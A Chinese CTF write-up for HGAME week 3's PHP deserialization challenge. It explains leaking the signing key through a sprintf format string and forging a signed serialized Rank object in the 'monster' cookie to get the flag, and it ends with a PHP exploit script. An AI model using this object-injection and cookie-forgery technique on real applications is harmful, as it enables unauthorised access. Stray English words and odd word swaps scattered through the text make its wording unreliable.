【反序列化】HGAME-week3

此次HGAME-week3 的序列之争出的很棒,也让我进一步体会到了反序列化漏洞的原理php

0x01 sprintf 泄露密钥

private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);
            $this->sign .= md5($this->sign . $value);
        }
    }

调用的时候服务器

$data = [$playerName, $this->encryptKey];
        $this->init($data);

而 welcomMsg 自己只有一个 %scookie

因此咱们让 $playerName%s 就能作到泄露出密钥session

0x02 反序列化

拿到 flag的条件测试

<?php if($game->rank->Get() === 1){?>
        <h2>hgame{flag_is_here}</h2>
    <?php }?>

要控制 $game->rank->Get() 返回值为1ui

因为 $game 的构造方法this

public function __construct($playerName){
        $_SESSION['player'] = $playerName;
        if(!isset($_SESSION['exp'])){
            $_SESSION['exp'] = 0;
        }
        $data = [$playerName, $this->encryptKey];
        $this->init($data);
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();
    }

先看 Rankcode

public function __construct(){
        if(!isset($_SESSION['rank'])){
            $this->Set(rand(2, 1000));
            return;
        }

        $this->Set($_SESSION['rank']);
    }

构造方法会传入session中的rank值server

其余的几个方法没有太大的用处md5

可是析构方法中

public function __destruct(){
        // 确保程序是跑在服务器上的!
        $this->serverKey = $_SERVER['key'];
        if($this->key === $this->serverKey){
            $_SESSION['rank'] = $this->rank;
        }else{
            // 非正常访问
            session_start();
            session_destroy();
            setcookie('monster', '');
            header('Location: index.php');
            exit;
        }
    }

只要知足 $this->key === $this->serverKey

就会将 $this->rank 的值赋值给 session中存起来,表面上看没什么,可是利用点就是在这里

最后咱们看到存在反序列化的点

public function __construct($key){
        $this->encryptKey = $key;
        if(!isset($_COOKIE['monster'])){
            $this->Set();
            return;
        }

        $monsterData = base64_decode($_COOKIE['monster']);
        if(strlen($monsterData) > 32){
            $sign = substr($monsterData, -32);
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
            if(md5($monsterData . $this->encryptKey) === $sign){
                $this->monsterData = unserialize($monsterData);
            }else{
                session_start();
                session_destroy();
                setcookie('monster', '');
                header('Location: index.php');
                exit;
            }
        }
        
        $this->Set();     
    }

咱们能够将 Rank 类序列化

而后这个类销毁的时候就会设置 session中的ran值,这样下一次实例化 Rank 类的时候,rank的值就是1了

<?php
class Rank{
    private $rank = 1;
}
$data = ['e99', 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL'];
$sign = '';
foreach ($data as $key => $value) {
    $sign .= md5($sign.$value);
}
$rank = serialize(new Rank());
var_dump(base64_encode($rank.md5($rank.$sign)));
?>

固然这里还有一个条件须要知足 $this->key === $this->serverKey 这个能够用取地址来作到,可是实际测试的时候上述的exp也是能够的